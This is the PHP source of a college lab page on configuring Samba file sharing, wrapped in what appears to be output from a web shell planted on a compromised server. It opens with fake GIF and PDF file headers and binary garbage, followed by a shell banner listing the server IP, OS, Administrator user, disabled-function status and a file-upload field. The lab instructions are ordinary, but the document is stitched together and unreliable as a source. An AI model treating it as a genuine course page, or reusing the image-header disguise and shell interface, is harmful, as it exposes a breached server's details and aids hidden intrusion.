GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/CST2608/_Archive/Labs/Lab04/ |
Upload File : |
<? // /JimMartinson/CST2608/Lab04.php include('Course/courseInfo.phpinc'); include('../../classInfo.phpinc'); $assignmentNumber = 04; $assignmentType = "Lab"; $assignmentTitle = "Network file sharing with Samba and NFS"; $evaluationType = "Lab"; $evaluationTitle = $assignmentTitle; if (strlen($assignmentNumber) == 1) { $assignmentName = $assignmentType."0".$assignmentNumber; $evaluationName = $evaluationType."0".$assignmentNumber; } else { $assignmentName = $assignmentType.$assignmentNumber; $evaluationName = $evaluationType.$assignmentNumber; } if ($evaluationTitle != '') $evaluationTitle = ' - '.$evaluationTitle; $title = $assignmentType." ".$assignmentNumber.": ".$assignmentTitle; $headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title; $pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title; $pageMenu = 'Course/courseMenu.phpinc'; $smallTitle = true; $js='openCenteredWindow'; include('common/pageHeader.phpinc'); include('JimMartinson/CST2608/Labs/StudentServerNameNAT.phpinc'); $ShowSpanCountBefore = false; //$ShowSpanCountBefore = true; // <span class="count"> ?> <style type="text/css"> b { white-space:nowrap; } ol { } li { } ol.count { counter-reset:item; } ol.count ol { counter-reset:item; } ol.count > li { list-style-type:none; } ol.count > li.count { list-style-type:none; } ol.count > li:before { content:counters(item, ".") ". "; counter-increment:item; margin-left:-2em; } <? if ( !$ShowSpanCountBefore ) { ?>//<? } ?> span.count:before { content:counters(item, "-"); color:#FF0000; } </style> <? $sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title.' - '.username($userId); include('common/sectionHeader.phpinc'); ?> <p> <fieldset><legend>Description</legend> Setup network file sharing with Samba and NFS servers. </fieldset> <fieldset><legend>Lab Instruction</legend> <ol class="count" start="1"> <li class="count">Setup Samba server. <ol class="count"> <li class="count">Install Samba server. <br /><kbd>sudo apt-get install samba smbfs</kbd> <br /><kbd>sudo apt-get install libpam-smbpass</kbd> </li> <li class="count">Install the Webmin Samba module.</li> <li class="count">Configure a Samba share. <br>accomplish this. <ol class="count"> <li>Use Webmin or hand edit the /etc/samba/smb.conf file to configure a Samba share to your server user's home directory. <a href="#" onClick="divHide('id_smb_conf_show');divShow('id_smb_conf_code'); return false;"><div id="id_smb_conf_show">(See example smb.conf code)</div></a> <div id="id_smb_conf_code" class="hidden"><a href="#" onClick="divHide('id_smb_conf_code'); divShow('id_smb_conf_show'); return false;">(Hide example smb.conf code)</a><pre class="code">[<?=strtolower(userNickName($_SESSION['userId']))?>] writable = yes path = /home/<?=strtolower(userNickName($_SESSION['userId']))?>/Desktop guest ok = no create mask = 0644 directory mask = 0755 comment = <?=userNamePossessive($_SESSION['userId'])?> stuff browsable = yes</pre></div> </li> <li>Restart Samba</li> </ol> </li> <li class="count">Test the Samba share. <ol class="count"> <li>Connect to your server using windows UNC path (<b>\\192.168.168.3</b> note: use the IP address of your server).</li> <li class="count"><b class="info">Take a screen shot</b> of the window and save the image as <b><?=$courseNumber?>-<?=$assignmentName?>-<span class="count">1-4-2</span>-<?=$userFileName?>.png</b><? if ( $ShowSpanCountBefore ) { echo ' ['.__LINE__.'] '; } ?>. (<a href="images/CST2608-Lab04-1-4-2-JimMartinson.png">See example</a>)</li> <li>Open the share.</li> <li>Create a new file called <b><?=$userFullName?> Samba share.txt</b></li> <li class="count"><b class="info">Take a screen shot</b> of the window and save the image as <b><?=$courseNumber?>-<?=$assignmentName?>-<span class="count">1-4-5</span>-<?=$userFileName?>.png</b><? if ( $ShowSpanCountBefore ) { echo ' ['.__LINE__.'] '; } ?>. Make sure that the <b><?=$userFullName?> Samba share.txt</b> file is visible. (<a href="images/CST2608-Lab04-1-4-5-JimMartinson.png">See example</a>)</li> </ol> </li> <li class="count">Demonstrate Webmin Samba Windows File Sharing</li> <ol class="count"> <li class="count">Open Webmin and select the Servers/Samba Windows File Sharing option.</li> <li class="count"><b class="info">Take a screen shot</b> of the window and save the image as <b><?=$courseNumber?>-<?=$assignmentName?>-<span class="count">1-5-2</span>-<?=$userFileName?>.png</b><? if ( $ShowSpanCountBefore ) { echo ' ['.__LINE__.'] '; } ?>. (<a href="images/CST2608-Lab04-1-5-2-JimMartinson.png">See example</a>)</li> </ol> </ol> </li> <li class="count error bold">NFS server has been removed from the lab.</li> <li class="count"> <a href="mailto:jim.martinson@ridgewater.edu?subject=<?=$courseNumber?> <?=$evaluationName?> Submission">Send an email</a> to jim.martinson@ridgewater.edu with a subject of <b style="white-space:nowrap"><?=$courseNumber?> <?=$evaluationName?> Submission</b> and attach the following files: <ol type="a"> <li><?=$courseNumber?>-<?=$evaluationName?>-1-4-2-<?=$userFullName?>.png.</li> <li><?=$courseNumber?>-<?=$evaluationName?>-1-4-5-<?=$userFullName?>.png.</li> <li><?=$courseNumber?>-<?=$evaluationName?>-1-5-2-<?=$userFullName?>.png.</li> <li>/etc/samba/smb.conf.</li> </ol> </li> </ol> </fieldset> <fieldset class="pio"><legend>Grading Criteria</legend> Demonstrated assignment effectively: 10 points. <br /> There are some things I expect. If they are incorrect you will lose the following: <br /> Incorrect attachment file name: -1 pt. <br /> Work submitted incorrectly: -1pt. <br /> Incorrect subject in email: -1pt. <br /> Second and subsequent submission of work for grading: -1pt. <br /> Work submitted late: -1pt per week. </fieldset> <!-- <fieldset class="pio"><legend>Objectives</legend> <ol class="obj pio" start="10"> <li>Describe the Network File System (NFS).</li> <li>Implement file sharing using the Network Information Service (NIS).</li> <li>Implement file sharing using the Common Internet File System (CIFS) with Samba.</li> </ol> </fieldset> --> <fieldset><legend>Notes</legend> <!-- Here is a <a href="Labs/<?=$evaluationName?>/<?=$evaluationName?>.zip"><?=$evaluationName?>.zip</a> file with examples of what must be turned in as well as gedit and sudo scripts to help with the assignment.<br /> <br /> Error 1326: --> <br /> If Windows prepends the name of the computer to the samba login then the user may not be enabled for samba. Open a terminal on your server and type:<br /> <kbd>sudo /usr/bin/smbpasswd -e <i>your_username</i></kbd><br /> Where <i>your_username</i> is the user name you setup in smb.conf. You will be prompted for a password. Enter and confirm the password you use to login to the server as <i>your_username</i>.<br /> It may also be something like a corrupt password. Open a terminal on your server and type:<br /> <kbd>sudo /usr/bin/smbpasswd -a <i>your_username</i></kbd><br /> Where <i>your_username</i> is the user name you setup in smb.conf. You will be prompted for a password. Enter and confirm the password you use to login to the server as <i>your_username</i>.<br /> </fieldset> <? include('../../ReferencesResources.phpinc'); include('common/sectionFooter.phpinc'); include('common/pageFooter.phpinc'); ?>